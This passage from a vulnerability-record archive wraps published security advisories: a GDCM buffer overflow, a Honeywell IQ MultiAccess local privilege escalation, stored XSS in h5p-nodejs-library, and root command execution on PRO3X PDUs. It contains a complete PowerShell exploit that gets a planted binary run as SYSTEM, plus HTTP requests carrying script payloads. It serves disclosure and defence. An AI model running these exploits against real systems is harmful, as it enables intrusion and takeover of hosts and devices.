range(1, num_values + 1):\n\n\nxml += b\u0027\u003c/DicomAttribute\u003e\\n\u0027\nxml += b\u0027\u003c/NativeDicomModel\u003e\u0027\n\nwith open(output, \u0027wb\u0027) as f:\n    f.write(xml)\n\noverflow_elements = num_values - 10\nPYEOF\n\n\n\n\n$ gdcmxml -i sscanf_overflow_poc.xml -o out.dcm\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-24: Vulnerability reported to manufacturer\n2026-07-31: Vulnerability reported to manufacturer again\n2026-09-23: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] GDCM project website\n    https://gdcm.sourceforge.net/\n[2] SySS Security Advisory SYSS-2026-067\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-121",
              "description": "CWE-121",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-02T04:57:33Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/71"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/71"
        },
        {
          "url": "https://creativecommons.org/licenses/by/4.0/deed.en"
        },
        {
          "url": "https://gdcm.sourceforge.net/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/71"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2026-067]: GDCM (Grassroots DICOM) - Stack-based Buffer Overflow (CWE-121)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0434",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/71",
            "automated": true,
            "contentSha256": "6e88c4ea98615ad0e663b5ad6e0c6441536d32492122c2e42eadb9cf71bc76f2",
            "evidenceScore": 10,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/71",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-09-23T13:33:17Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-10-02T04:57:33Z",
    "dateUpdated": "2026-10-02T04:57:33Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0434"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "IQ MultiAccess Update Service",
          "vendor": "Honeywell",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260923-0 \u003e\n=======================================================================\n              title: Local Privilege Escalation\n            product: Honeywell IQ MultiAccess Update Service\n\u00a0vulnerable version: IQ V27 \u0026 IQ V28\n      fixed version: IQ V27 SP1 \u0026 IQ V28 SP1\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2026-13742\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n           homepage:https://buildings.honeywell.com/us/en/products/by-category/access-control/software/iq-multiaccess\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2026-03-19\n                 by: J. Kruchem (Office Vienna)\n                     G. Jank (Office Vienna)\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"IQ MultiAccess is a highly scalable access control software solution suitable\nfor controlling multiple locations within a company or several companies\nwithin a building complex/business park.\"\n\nSource:https://buildings.honeywell.com/us/en/products/by-category/access-control/software/iq-multiaccess\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides patched versions which should be installed immediately.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Local Privilege Escalation (CVE-2026-13742)\nDue to a named pipe configured with a NULL DACL a low-privileged user can\nuse the pipe to communicate with the IQUpdSrv service running as SYSTEM.\nWhen providing specific data over the pipe, arbitrary executables can be\nexecuted with SYSTEM rights.\n\n\nProof of concept:\n-----------------\n1) Local Privilege Escalation (CVE-2026-13742)\nThe PoC PS-Script connects to the named pipe and sends the following commands:\n - SET SERVERIP \"127.0.0.1\"\n   - Configure IP. The IP itself is not important because the goal is to timeout the connection.\n - SET SERVERPORT \"9998\"\n - SET URL \"/SETUPVPS.EXE?ET=10\u0026SILENT=0\"\n - SET FNAME \"C:\\Temp\\SETUPVPS.EXE\"\n    - Path and filename of the file which should be executed by IQUpdSrv to perform an update.\n    - If the file is present, C:\\Windows\\Temp will be used and the behavior can NOT be exploited.\n    - The file will be created with size 0 bytes.\n - DO DOWNLOAD\n    - IQUpdSrv tries to download the file SETUPVPS.EXE but fails (timeout of ~15 seconds needed).\n      Then the file C:\\Temp\\SETUPVPS.EXE will be deleted.\n - //Local command: Copy Reverse Shell Server_31337.exe to C:\\Temp\\SETUPVPS.EXE\n    - So the file is present even though IQUpdSrv thinks it is deleted.\n - DO EXECUTE\n    - IQUpdSrv starts the SETUPVPS.EXE with SYSTEM rights and connects to your reverse shell listener.\n\n\n```\n\u003c#\n.SYNOPSIS\n    Communicates with named pipe \"iqupdsrvpipe\" to trigger download + execution of SETUPVPS.EXE\n\n.DESCRIPTION\n    Sends commands via named pipe \u2192 waits \u2192 copies temp file to destination (without renaming),\n    then sends execute command.\n    Old destination file is removed; old temp file is NOT removed.\n\n.PARAMETER DestFile\n    Final path where the file should end up\n    Default: \"C:\\Temp\\SETUPVPS.EXE\"\n\n.PARAMETER TempFile\n    Path where the malicious binary is placed (e.g. Reverse Shell. Will be COPIED to DestFile)\n    Default: \"C:\\Temp\\_SETUPVPS.EXE\"\n\n.PARAMETER ServerIp (can be arbitrary. Works faster if reachable. If not reachable timeout is required)\n    Default: \"127.0.0.1\"\n\n.PARAMETER ServerPort (can be arbitrary)\n    Default: \"9998\"\n\n.PARAMETER ConnectTimeoutSeconds\n    Default: 10\n\n.PARAMETER WaitAfterDownloadSeconds\n    Default: 15\n\n.EXAMPLE\n    Import-Module .\\Invoke-IQExploit.psm1 -Force\n    Invoke-IQExploit\n#\u003e\n\nfunction Invoke-IQExploit {\n    [CmdletBinding()]\n    param(\n        [string]$DestFile = \"C:\\Temp\\SETUPVPS.EXE\",\n        [string]$TempFile = \"C:\\Temp\\_SETUPVPS.EXE\",\n        [string]$ServerIp = \"127.0.0.1\",\n        [string]$ServerPort = \"9998\",\n        [int]$ConnectTimeoutSeconds = 10,\n        [int]$WaitAfterDownloadSeconds = 15\n    )\n\n    $DestFile = $PSCmdlet.SessionState.Path.GetUnresolvedProviderPathFromPSPath($DestFile)\n    $TempFile = $PSCmdlet.SessionState.Path.GetUnresolvedProviderPathFromPSPath($TempFile)\n\n    Write-Host \"`nInvoke-IQExploit started\" -ForegroundColor DarkCyan\n    Write-Host \"  Final destination : $DestFile\"\n    Write-Host \"  e.g. Reverse Shell: $TempFile\"\n    Write-Host \"  Wait after download: $WaitAfterDownloadSeconds seconds\"\n    Write-Host \"\"\n\n    if (Test-Path $DestFile) {\n        Write-Host \"Removing old destination file to prevent execution from C:\\Windows\\Temp\" -ForegroundColor DarkYellow\n        Remove-Item $DestFile -Force -ErrorAction SilentlyContinue\n    }\n    else {\n        Write-Host \"No existing destination file to remove.\" -ForegroundColor DarkGray\n    }\n\n    $pipe = $null\n    $sw   = $null\n\n    try {\n        Write-Host \"Connecting to \\\\.\\pipe\\iqupdsrvpipe ...\" -ForegroundColor Cyan\n        $pipe = New-Object System.IO.Pipes.NamedPipeClientStream(\".\", \"iqupdsrvpipe\", \"InOut\")\n        $pipe.Connect($ConnectTimeoutSeconds * 1000)\n\n        if (-not $pipe.IsConnected) {\n            throw \"Pipe connection timeout after $ConnectTimeoutSeconds seconds\"\n        }\n\n        Write-Host \"Connected.\" -ForegroundColor Green\n\n        $sw = New-Object System.IO.StreamWriter($pipe)\n        $sw.AutoFlush = $true\n\n        $commands = @(\n            \"SET SERVERIP `\"$ServerIp`\"\",\n            \"SET SERVERPORT `\"$ServerPort`\"\",\n            \u0027SET URL \"/SETUPVPS.EXE?ET=10\u0026SILENT=0\"\u0027,\n            \"SET FNAME `\"$DestFile`\"\",\n            \"DO DOWNLOAD\"\n        )\n\n        foreach ($cmd in $commands) {\n            Write-Host \"Sending: $cmd\" -ForegroundColor Gray\n            $sw.WriteLine($cmd)\n            Start-Sleep -Milliseconds 350\n        }\n\n        Write-Host \"`nDownload command sent.\" -ForegroundColor Yellow\n        Write-Host \"Waiting $WaitAfterDownloadSeconds seconds for file to appear at:\" -ForegroundColor Yellow\n        Write-Host \"  $TempFile\" -ForegroundColor Yellow\n\n        Start-Sleep -Seconds $WaitAfterDownloadSeconds\n\n        Write-Host \"`nWait finished. Checking temp file...\" -ForegroundColor Cyan\n\n        if (Test-Path $TempFile) {\n            Write-Host \"Temp file found copying to destination\" -ForegroundColor Green\n            Copy-Item -Path $TempFile -Destination $DestFile -Force\n            Write-Host \"Copy completed to $DestFile\" -ForegroundColor Green\n\n        }\n        else {\n            Write-Warning \"No Temp file found at: $TempFile\"\n            Write-Warning \"Create a binary which should be invoked as SYSTEM at: $TempFile.\"\n        }\n\n        Write-Host \"Sending DO EXECUTE...\" -ForegroundColor Cyan\n        $sw.WriteLine(\"DO EXECUTE\")\n        Write-Host \"Executing $DestFile as SYSTEM.\" -ForegroundColor Green\n\n    }\n    catch {\n        Write-Error \"Error: $($_.Exception.Message)\"\n    }\n    finally {\n        if ($sw)   { $sw.Dispose()   | Out-Null }\n        if ($pipe) { $pipe.Dispose() | Out-Null }\n        Write-Host \"`nOperation finished.\" -ForegroundColor DarkGray\n    }\n}\n\nExport-ModuleMember -Function Invoke-IQExploit\n```\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has \u00a0been tested and verified to be vulnerable:\n* IQ MultiAccess IQ.V27\n\nAccording to the vendor, the versions V27 as well as V28 before SP1 are affected.\n\n\nVendor contact timeline:\n------------------------\n2026-03-20: Contacting vendor throughsecurity () honeywell com, attaching PGP-encrypted\n            advisory.\n2026-03-20: Vendor responds that they didn\u0027t find any POCs and we should resend them.\n2026-03-23: Resending PGP-encrypted advisory again.\n2026-03-25: Asking of the vendor received the advisory now. Vendor asks to submit the\n            advisory unencrypted and we send it in clear text. Vendor confirms receipt\n            now and coordinates internally.\n2026-04-21: Asking for status update.\n2026-05-22: Vendor responds and will clarify internally.\n2026-05-27: Vendor responds that the vulnerability is fixed, provides CVSS score.\n2026-05-28: Asking vendor for coordinated release of advisory and list of affected\n            products.\n2026-06-10: Asking for a status update and CVE number.\n2026-06-10: PSIRT was waiting on the engineer\u0027s response, fix should be included in the\n            IQ MultiAccess V27 SP1 and V28 SP1, they are working on a release.\n2026-06-18: Asking for a status update.\n2026-06-18: Vendor is working on the CVE, fix will be available at the end of the month.\n            Vendor provides CVE JSON for review later that day.\n2026-06-19: Suggesting a different CVSS score as confidentiality and integrity impact is high.\n2026-06-23: Vendor updated the score and further prepares release.\n2026-06-29: Vendor informs us that CVE-2026-13742 has been published.\n2026-09-22: Informing vendor about upcoming advisory release and delay during summer absences.\n2026-09-23: Release of security advisory\n\n\nSolution:\n---------\nThe vendor provides patched versions IQ V27 SP1 and IQ V28 SP1.\nFurthermore, the vendor provides a security notice SN2026-06-25:\nhttps://www.honeywell.com/content/dam/honcorp/us-en/legal/product-security/hon-sn2026-06-25-01-time%E2%80%91of%E2%80%91use-signature-bypass-in-honeywell-iq-multi-access.pdf\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:http://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF J. Kruchem, G. Jank / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-02T04:57:33Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/88"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/88"
        },
        {
          "url": "http://blog.sec-consult.com"
        },
        {
          "url": "https://buildings.honeywell.com/us/en/products/by-category/access-control/software/iq-multiaccess"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.honeywell.com/content/dam/honcorp/us-en/legal/product-security/hon-sn2026-06-25-01-time%E2%80%91of%E2%80%91use-signature-bypass-in-honeywell-iq-multi-access.pdf"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/88"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260923-0 :: Local Privilege Escalation in Honeywell IQ MultiAccess Update Service #CVE-2026-13742",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-13742",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0433",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/88",
            "automated": true,
            "contentSha256": "c363d09223634c6cfd5f497635a2e252a6b9115387f57e23965e8d9f167c2177",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/88",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-09-23T08:59:30Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0433"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-10-02T04:57:33Z",
    "dateUpdated": "2026-10-02T04:57:33Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0433"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SCHUTZWERK-SA-2024-006",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "David Brown via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n\n\nexecuted in victims\u0027 browsers when viewing the affected H5P content.\n\nMetadata\n========\n\n- - Affected product: h5p-nodejs-library\n- - Affected version: All versions prior to 9.3.3\n- - Vendor: Lumi Education UG\n- - Problem type(s):\n\n- - CVE ID: CVE-2025-47828\n- - CVE URL: https://www.cve.org/CVERecord?id=CVE-2025-47828\n- - CVSS 3.1 score: 6.4 (Medium)\n- - CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N\n- - Advisory URL: https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-006/\n\nDetails\n=======\n\n\ntherefore store arbitrary HTML and JavaScript in these fields.\n\n\nJavaScript alert function:\n\nPOST /api/v3/h5p-editor/edit/670e69f55301ad663ba69f9e HTTP/2\nHost: example.com\n[...]\n\n{\n  \"library\": \"H5P.Timeline 1.1\",\n  \"params\": {\n    \"params\": {\n      \"timeline\": {\n        \"defaultZoomLevel\": \"0\",\n        \"height\": 600,\n        \"asset\": {\n          \"media\": \"\u003cscript\u003ealert(\u0027Alert from media\u0027)\u003c/script\u003e\",\n          \"credit\": \"\u003cscript\u003ealert(\u0027Alert from media\u0027)\u003c/script\u003e\",\n          \"caption\": \"\u003cscript\u003ealert(\u0027Alert from media\u0027)\u003c/script\u003e\"\n        },\n        \"date\": [\n          {\n            \"asset\": {},\n            \"text\": \"\u003cp\u003eSW_BodyText2\u003c/p\u003e\\n\",\n            \"startDate\": \"1900\",\n            \"endDate\": \"9999\",\n            \"headline\": \"SW_HEADLINE2\",\n            \"tag\": \"SW_tags\"\n          }\n        ],\n        \"language\": \"en\",\n        \"headline\": \"SW_Headline\",\n        \"text\": \"\u003cdiv\u003eSW_BodyText\u003c/div\u003e\"\n      }\n    },\n    \"metadata\": {\n      \"embedTypes\": [\n        \"iframe\"\n      ],\n      \"language\": \"en\",\n      \"mainLibrary\": \"H5P.Timeline\",\n      \"preloadedDependencies\": [\n        {\n          \"machineName\": \"TimelineJS\",\n          \"majorVersion\": 1,\n          \"minorVersion\": 1\n        },\n        {\n          \"machineName\": \"H5P.Timeline\",\n          \"majorVersion\": 1,\n          \"minorVersion\": 1\n        }\n      ],\n      \"defaultLanguage\": \"en\",\n      \"license\": \"U\",\n      \"title\": \"SW_Timeline-Title\",\n      \"authors\": [],\n      \"changes\": [],\n      \"extraTitle\": \"SW_Timeline-Title\"\n    }\n  },\n  \"parentId\": \"670e36de4c1be96f1bc6bf65\",\n  \"parentType\": \"lessons\"\n}\n\n\nserver accepted the request and responded with 201 Created.\n\n\nvia stored XSS is possible.\n\nRisk\n====\n\n\nnew roles to existing ones.\n\nSolution/Mitigation\n===================\n\nUpdate h5p-nodejs-library to version 9.3.3[0] or later.\n\nTimeline\n========\n\n- - 2024-10-14 Vulnerability discovered\n- - 2024-11-07 Initial contact attempt with the developer\n\n- - 2024-11-28 Third contact attempt via a message in the Lumi Slack channel\n\n- - 2025-02-11 Release of h5p-nodejs-library v9.3.3\n\n  the vulnerability\n- - 2025-05-11 CVE-2025-47828 published by MITRE\n\n  delayed for undisclosed reasons.\n- - 2026-09-22 Advisory released\n\nCredits\n=======\n\n\nSCHUTZWERK GmbH.\n\nFootnotes\n=========\n\n[0] https://github.com/Lumieducation/H5P-Nodejs-library/releases/tag/v9.3.3\n-----BEGIN PGP SIGNATURE-----\n\niQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmqzbasaHGFkdmlzb3Jp\nZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrsfVA/9Gl1qipXoGJB/01grCy2a\nr9FpwoVkM7LsRCev1w/6RHiBcHeSzxuIufMVd+HHGHmEr3ZwU3XEbuin3LGvuqdJ\nCEWHVfLxqMVDl2N0WE6mQYCI6tTPHKUSovYo8U9Nq8OA+lzLsOQpFckmPEqpw1gg\n0nifTBsfQ9pe09hC3sOJJFywRrFBopSULyltY1UsORfD8Kf5QSTGS3Px/H2o5xeW\n8FRoAzaggpJlDvKkEGMKPAGArVEyFLB9PckwYGo2OrmfaQXRv/YjkZiOM0JzvkIf\ntpvGMDqx3/3VYi/BIQK5a6iK06NrUn2+jpKFowXubeHh74vMbzm8r7JyoZOApB19\nZ6y4p6tyWQPps4PZVFKursUoTnnOu5ERe+9btglxQ6RZuJsbJwBlXAbhL78ZJ307\nzSqPQNs51Hf3j9Nn8z3dVZxjJO6ifTCL7cRXpkWpLX+T67CYQ83IPWLTJ1tc5az2\nogKQtG8BfYLVTnnavjENXAzmTLEYcx8mmkz5bPiK9gPq59VRWRrbgwvRuRjeJ7QC\nP3eFZSzH0+Fgr+7T9FX461lb+C8kX7nyh+dxiOGM09mZL+CIJKyWtsTrmQyyrRzO\nqhmV7nHV7VMQQKa+udQnRepgCTfWtNwcg/gx/9h11fKVwkE3w+Sdw8anzcHQbFH0\n4R7MzYDSPi2iGERjgs4GSNo=\n=qFXH\n-----END PGP SIGNATURE-----\n\n\n--\nSCHUTZWERK GmbH, Pfarrer-Wei\u00df-Weg 12, 89077 Ulm, Germany\nZertifiziert / Certified ISO 27001, 9001 and TISAX\n\nPhone +49 731 977 191 0\n\nadvisories () schutzwerk com / www.schutzwerk.com\n\nGesch\u00e4ftsf\u00fchrer / Managing Directors:\nJakob Pietzka, Michael Sch\u00e4fer\n\nAmtsgericht Ulm /  HRB 727391\nDatenschutz / Data Protection www.schutzwerk.com/datenschutz\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-02T04:57:33Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/69"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/69"
        },
        {
          "url": "https://github.com/Lumieducation/H5P-Nodejs-library/releases/tag/v9.3.3"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-47828"
        },
        {
          "url": "https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-006/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/69"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SCHUTZWERK-SA-2024-006: Stored Cross-Site Scripting via text fields in H5P module (h5p-nodejs-library) of Lumi Education",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2025-47828",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0432",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/69",
            "automated": true,
            "contentSha256": "da6ff9230d10ac2467777c37691f8a6f549d43d05da12038d9a3d81435ec59fe",
            "evidenceScore": 10,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/69",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-09-23T06:14:09Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0432"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-10-02T04:57:33Z",
    "dateUpdated": "2026-10-02T04:57:33Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0432"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Server Technology PRO3X",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "disclosure via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "0day Rubbish Research Team is publicly disclosing a vulnerability in Server\nTechnology (Legrand group) PRO3X series intelligent rack PDUs, firmware\nspdu-pro3x-030600 build 46640 (ARM 32-bit uClibc Linux).\n\nType: authenticated listener program override leading to root command execution\n(CWE-78, CWE-269; a separate hard-coded factory credential is reported as\nCWE-798). PRO3X PDUs run port_mux, an inetd-style launcher that starts every\nprotocol listener with fork + execv and never drops privileges, so listeners run\nas root. The executable path is proto_listener_entry.program in cfg_pmux.cdl,\ntyped nctl_nspc_nempty_str_512, a free-form string with no whitelist, and an\nauthenticated administrator rewrites it through setConfiguration (POST /J/cfg).\nPointing the port 80 http listener at /bin/sh with arguments -c \"\u003ccmd\u003e\" applies at\nruntime: the next TCP connection to port 80 executes the attacker\u0027s command as\nuid 0.\n\nScoring. This finding is dual-scored, with the conditional figure published\nalongside the primary:\n- PRIMARY, 7.2 High, CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H. An\n  authenticated administrator is required, and that gate was verified unbypassed.\n- CONDITIONAL, 9.8 Critical, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Where\n  the factory default administrator credential is left unchanged, unrotated units\n  are open with no privileged secret.\n\nImpact: root (uid 0) on the rack power distribution controller, a\ncritical-infrastructure power monitoring and control appliance. Full configuration\ncontrol follows; the disabled modbus (502) and mbusd (503) listeners can be armed\nwith attacker-chosen programs. Outlet switching and power cycling were not\nseparately exercised by this proof-of-concept.\n\nAuthentication: post-authentication administrator (with a shipped default\nadministrator credential reported separately as CWE-798).\n\nVerification boundary, stated plainly. No physical PRO3X hardware was used, and\nthe three-step HTTP chain (POST /J/auth, POST /J/cfg, then the TCP trigger) was\nNOT exercised end to end against a device. What was dynamically proven is the\nroot execution primitive: port_mux fork + execv of an injected /bin/sh -c as uid\n0, run twice inside a network namespace under qemu-arm-static against the\nrootfs unpacked from the firmware Squashfs, each producing a root-owned marker\ncontaining uid=0(root). Each link of the HTTP delivery path was confirmed\ncomponent by component (httpd.conf routing, the BusyBox SCM_RIGHTS descriptor\npassing, the administrator credential accepted by auth_cli, and the configuration\nwrite accepted and read back through cfgc). SCM_RIGHTS descriptor passing between\nthe separate httpd and jsonrpcd processes does not complete under qemu user-mode\nemulation, which is an emulation-environment limitation rather than a property of\nthe vulnerability. Only this build was tested; no other build or model is claimed.\n\nFull technical analysis and a reproducible proof-of-concept:\n  https://0day-rubbish.com/blog/servertech-pro3x-port-mux-command-injection\n\nProject archive (ongoing disclosure series):\n  